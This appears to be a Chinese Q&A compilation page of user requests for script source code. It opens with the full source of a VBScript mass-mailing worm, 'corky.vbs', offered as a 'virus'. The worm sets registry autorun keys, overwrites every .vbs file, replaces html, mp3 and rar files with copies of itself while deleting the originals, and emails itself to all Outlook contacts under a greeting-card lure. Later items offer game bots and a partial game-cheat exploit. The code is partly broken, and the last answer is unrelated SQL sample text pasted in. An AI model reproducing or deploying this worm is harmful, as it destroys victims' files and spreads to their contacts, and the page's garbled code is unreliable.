腳本源碼參考

1. 求VBS腳本病毒源碼

'corky.vbs
'corky
'11-16-2007
'用記事本存為corky.vbs，文件類型選所有文件即*.*
dim wsh,fso,fa,allvbs,syspath,winpath
set wsh=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")

set fa=fso.openTextFile(Wscript.ScriptFullName,1)
allvbs=fa.ReadAll
fa.close

settimeout

winpath=GSF(0)
syspath=GSF(1)
writereg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer",syspath&"\corky.vbs"
writereg "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\explorer",winpath&"\system.vbs"

file BP(winpath,"system.vbs")
file BP(syspath,"corky.vbs")

listdrive
net
sendmail

set wsh=nothing
set fso=nothing

sub settimeout()
on error resume next
dim a,re
set a=createobject("wscript.shell")
re=a.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (re>=1) then
a.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
end sub

sub file(filename)
dim fso,wsh,f1,f2
set fso=createobject("scripting.filesystemobject")
fso.getfile(wscript.scriptfullname).(filename)
end sub

sub writereg(a,b)
dim wsh
set wsh=createobject("wscript.shell")
wsh.regwrite a,b
end sub
sub listdrive()
dim ds,d
set ds=fso.drives
for each d in ds
if d.drivetype=2 or d.drivetype=3 then
listfile d.path&"\"
listfolder d.path&"\"
end if
next
end sub

sub listfolder(fds)
dim fs,fd,fdf,fn
set fs=fso.getfolder(fds)
set fd=fs.subfolders
for each fdf in fd
listfile(fdf.path)
listfolder(fdf.path)
next
end sub

sub listfile(folder)
dim fd,fs,f,ext,f1,fn,fh
set fd=fso.getfolder(folder)
set fs=fd.files
for each f in fs
ext =fso.GetExtensionName(f)
ext=Lcase(ext)
fn=Lcase(f.name)
f.attributes=0
if (ext="vbs") Then
set f1=fso.openTextFile(f.path,2,true)
f1.write allvbs
f1.close
end if
if (ext="htm" ) or (ext="html") or (ext="mp3") or (ext="rar") then
set fh=fso.CreateTextFile(f.path&".vbs",True)
fh.write allvbs
fh.close
f.delete
end if
next
end sub

sub net()
on error resume next
dim netobj,nd
dim i
set netobj=createobject("wscript.network")
set nd=netobj.EnumNetworkDrives
if nd.Count >0 then
For i=0 to nd.Count-1
fso.file BF(GSF(0),"System.vbs")
next
end if
end sub

function BP(d,p)
on error resume next
BP=fso.Buildpath(d,p)
end function

function SF(fd)
on error resume next
SF=fso.SpecialFolder(fd)
end function

function GSF(fi)
on error resume next
GSF=fso.GetSpecialFolder(fi)
end function

sub sendmail()
On Error Resume Next
set outobj=Wscript.CreateObject("Outlook.Application")
If outobj= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")

Set addrList= mapiObj.AddressLists
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
For addrEntIndex= 1 To addrEntCount
Set item = outlookApp.CreateItem(0)
Set addrEnt = addr.AddressEntries(addrEntIndex)
item.To = addrEnt.Address
item.Subject ="你好嗎老朋友？好久不見了"
item.Body = "這里是我自己製作的賀卡希望你能喜歡！"

Set attachMents=item.Attachments
attachMents.Add fileSysObj.GetSpecialFolder(1)&"corky.vbs"
item.DeleteAfterSubmit = True
If item.To <> "" Then
item.Send
wsh.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if
set mapiObj=nothing
set outobj=nothing

end sub

2. 求一按鍵精靈腳本源碼，通過圖片判斷游戲是否掉線的。每天掛機一晚上。第二天起來發現早掉線了。

也簡單，就是要知道你說的是什麼 ，例如：qq吧，可能通過檢測食任務欄上的圖標的一個點的顏色來看有沒有在線，因為在線圖標是彩色的。離線就變灰了。你可以設置一個腳本，讓他一小時檢測一次，如果是灰色就重新登陸。如果是彩色就繼續等下一個小時。

3. 自動精靈添加動作什麼意思

自動精靈添加動作的意思是：需要添加相關功能，比如識別文字，截取圖片等動作。
自動精靈是一款腳本開發軟體，豐富的腳本開發教學資源，腳本源碼參考示例，海量手游腳本輔助，新手零基礎開發腳本，免費錄制腳本，免費提供高級函數庫協助開發。自動精靈iOS版、觸動安卓免root，RPA自動化工具、企業版中控、雲控，批量操控，跨屏控制，群控工具等功能。觸動小精靈，免費打包腳本生成應用軟體，自定義圖標、名稱等信息，打造專屬APP。幫你玩雲手機，一台設備可控制N台雲手機，24h遠程掛機不停歇，

4. 求QQ西遊自動打怪腳本源代碼

Qy自動打怪加血助手

http://115(此處去掉).com/file/bhqy41vj

1、沒用過大漠插件的，運行「注冊大漠插件到系統.bat」注冊一下插件。

2、加血的有三個，最後一個是用 「 加血技能加血」，是醫生用的，如果喝葯瓶的話，加血的就不要用最後一個。

3、游戲解析度為1024*600，不改就不用了。窗口不能最小化，可以遮擋，設有隱藏窗口鍵，避免不小心最小化。

4、自動旋轉打怪，如果選怪7秒後，不打怪，則自動重新選怪。

5. 引流腳本源碼是什麼

引流腳本使用按鍵精靈製作出來的，代碼就是製作的一些數據，製作腳本的話一般都需要一個團隊一分析檢測，不然做出來的腳本會很不穩定，現在比較做得好的腳本我知道的有極速引流腳本，他家算是最早做腳本的那批。

6. 小弟想找個夢幻西遊的跑表腳本源代碼`要按鍵精靈有的那中`要錢的沒有`講道理的去死`謝謝各位大俠了

不可能有這種腳本的，因為每次接鏢都是隨機的，遇怪的時間地點數量等等也是隨機的。
除非是外掛，否則按鍵精靈是不可能做到的。

7. 誰有按鍵精靈lol掛機腳本的源代碼啊，求分享。

#region
using System;
using System.Collections.Generic;
using System.Linq;
using LeagueSharp;
using LeagueSharp.Common;

#endregion

namespace RefundExploiter
{
internal class Program
{
public static Menu Menu;

public static List<int> Consumables = new List<int> { XXXXXX };
public static List<int> NoCD = new List<int> { 3074, 3140, 3153, }; ''''''(啟動,暫停,終止)

public static int RefundItemId = 0;
private static byte RefundInventorySlot;

public static bool Swapped = false;
public static bool Refunded = false;
待續...........
給你一小部分 剩下的加100分發你郵箱

8. 求指導按鍵精靈腳本編寫思路和源碼參考

按鍵精靈會被封號。
我開的按鍵精靈點別的游戲，然後擼了一局直接就被封了一個月。再也不敢開了。

9. 誰能給我個腳本代源碼注入工具！！

呵…要這個做什麼呢？？…給你一個ASP+SQL的存儲過程的應用事例先看下面一段代碼：

'聲明與 sql 談話時使用的變數
Dim oServer ' SQL Server 對象
Dim oDatabase ' 要使用的目標資料庫
Dim oBCP ' BCP 對象
Dim nRows ' 從 bcp 返回的行數
dim table ' 表對象
on error resume next
' 第一個參數必須是資料庫
if WScript.Arguments(0) = "" then
WScript.Echo "您沒有提供要連接的資料庫"
WScript.Quit
end if
' 創建 SQL DMO 的實例
Set oServer = CreateObject("SQLDMO.SQLServer")
' 創建 SQL DMO Bulk 對象的實例
Set oBCP = CreateObject("SQLDMO.BulkCopy")
oServer.EnableBcp = True
' 登錄到本地伺服器
' 希望您已經更改了 sa 口令!!
oServer.Connect ".", "sa"
' 連接到提供的資料庫
Set oDatabase = oServer.Databases(Wscript.Arguments(0))

' 將分隔符設置為逗號
oBCP.ColumnDelimiter = vbComma
' 將文件類型設置為以逗號分隔
oBCP.DataFileType = SQLDMODataFile_CommaDelimitedChar
oBCP.ImportRowsPerBatch = 1000
oBCP.MaximumErrorsBeforeAbort = 1
BCP.RowDelimiter = vbCrLf
oBCP.ServerBCPDataFileType = SQLDMOBCPDataFile_Char
oBCP.UseExistingConnection = True
' 如果未提供表，則轉儲所有的表
f wscript.Arguments(1) = "" then
for each table in oDatabase.tables
' 確保該表不是系統表
if table.systemobject = false then
oBCP.DataFilePath = table.name & ".csv"
nRows = table.ExportData(oBCP)
wscript.Echo nRows & " rows exported from " & table.name
end if
next
else
' 設置輸出文件
oBCP.DataFilePath = wscript.Arguments(1) & ".csv"
nRows = oDatabase.Tables(wscript.arguments(1)).ExportData(oBCP)
wscript.Echo nRows & " rows exported from " & wscript.arguments(1)
end if
DMO 的全部內容要比本文介紹的多得多，但我希望本文能給您一些感性認識：用某些簡單的 WSH 腳本和 DMO 可以做些什麼。你可以下示例（英文）。有關 DMO 的詳細信息，請訪問 http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm（英文）。

數據轉換服務
從資料庫表中取得一個記錄或計算一個值時，需要使用返回輸出參數的存儲過程。為了舉例，先在SQL Server的pubs庫中新建一存儲過程OUTemploy，該存儲過程需要輸入兩個日期，然後輸出一個最大值。

CREATE PROCEDURE OUTemploy

(

@job_lvl tinyint OUTPUT,

@hire_date1 datetime,

@hire_date2 datetime

)

AS

select @job_lvl = MAX(job_lvl) from employee

where hire_date >= @hire_date1 and hire_date <= @hire_date2
導出到 Comma Separated 文件 (CSV)，可以作為將數據導出到 SQL 和從 SQL 導入的起點，但這不象是尖端科技（太過於 20 世紀了，您不覺得嗎?）。「SQL Server 7.0」以「數據轉換服務 (DTS)」的形式，提供了相當完善的導入和導出機制。幸運的是，腳本在「SQL Server」的這個新領域中仍有一席之地，因此，您可以用「Visual Basic(R) 腳本編輯 (VBScript)」、「JScript(R)」或「Perl」的技術來擴展 DTS 的能力。

DTS 的設置非常簡單，特別是在使用「SQL ServerEnterprise Manager」的時候。在默認情況下，「SQL Server」有一個定義的文件夾，可存儲任何轉換，而且「Enterprise Manager」提供了創建和編輯 DTS 程序包的大的圖形用戶界面 (GUI)。在下面的示例中，我選擇了已由 sqlexport.wsf 文件創建的 employees.csv 文件和「SQL Server」中的一個新表。DTA 程序包將創建該表，載入到 Text 文件中，然後運行某個腳本，將數據轉換到「SQL Server」的表中。

http://www.microsoft.com/china/msdn/Archives/library/images/scripting012000-1.gif（圖）DTS 程序包中的轉換，使腳本在整個轉換過程中保持運行狀態。「SQL Enterprise Manager」提供的簡單的腳本編輯器，有一個語法分析腳本按鈕。在運行腳本之前，該按鈕將警告您腳本中的錯誤。在轉換過程中，該腳本使用 VBScript 的 Cint 功能，將 employeeid 和 deptid 的輸入轉換為 int，並將所有的電子郵件地址轉換為小寫字母。

'**********************************************************************
' Visual Basic 轉換腳本
' 把每個源列復制到
' 目標列
'***********************************************************************
Function Main()
DTSDestination("EmployeeID") = cint(DTSSource("Col001"))
DTSDestination("FirstName") = DTSSource("Col002")
DTSDestination("LastName") = DTSSource("Col003")
DTSDestination("email") = lcase(DTSSource("Col004"))
DTSDestination("extension") = DTSSource("Col005")
DTSDestination("office") = DTSSource("Col006")
DTSDestination("DeptID") = cint(DTSSource("Col007"))
Main = DTSTransformStat_OK
End Function
用 DTS，能夠採用某些完善的導入/導出機制，並使您能夠在轉換的任何一步中使用腳本。重要的是，要注意腳本可能不是操作數據的最佳方式 — 尤其是您的數據集很大的話。如果您有大量數據需要轉換，而且性能也很重要，則您可能需要考慮使用 Visual Basic 或 C++ 來創建 COM 組件，然後從 DTS 內部調用該組件。也就是說，如果性能並不重要，並且要在數據導入/導出時對它進行轉換，則腳本為您提供了實現這一點的靈活機制，並使您能夠將所有代碼存儲到「SQL Server」資料庫中，使部署變得相當簡單。
……呀！太多了！ 要不你給我來信！ 我轉給你…電郵地址 [email protected]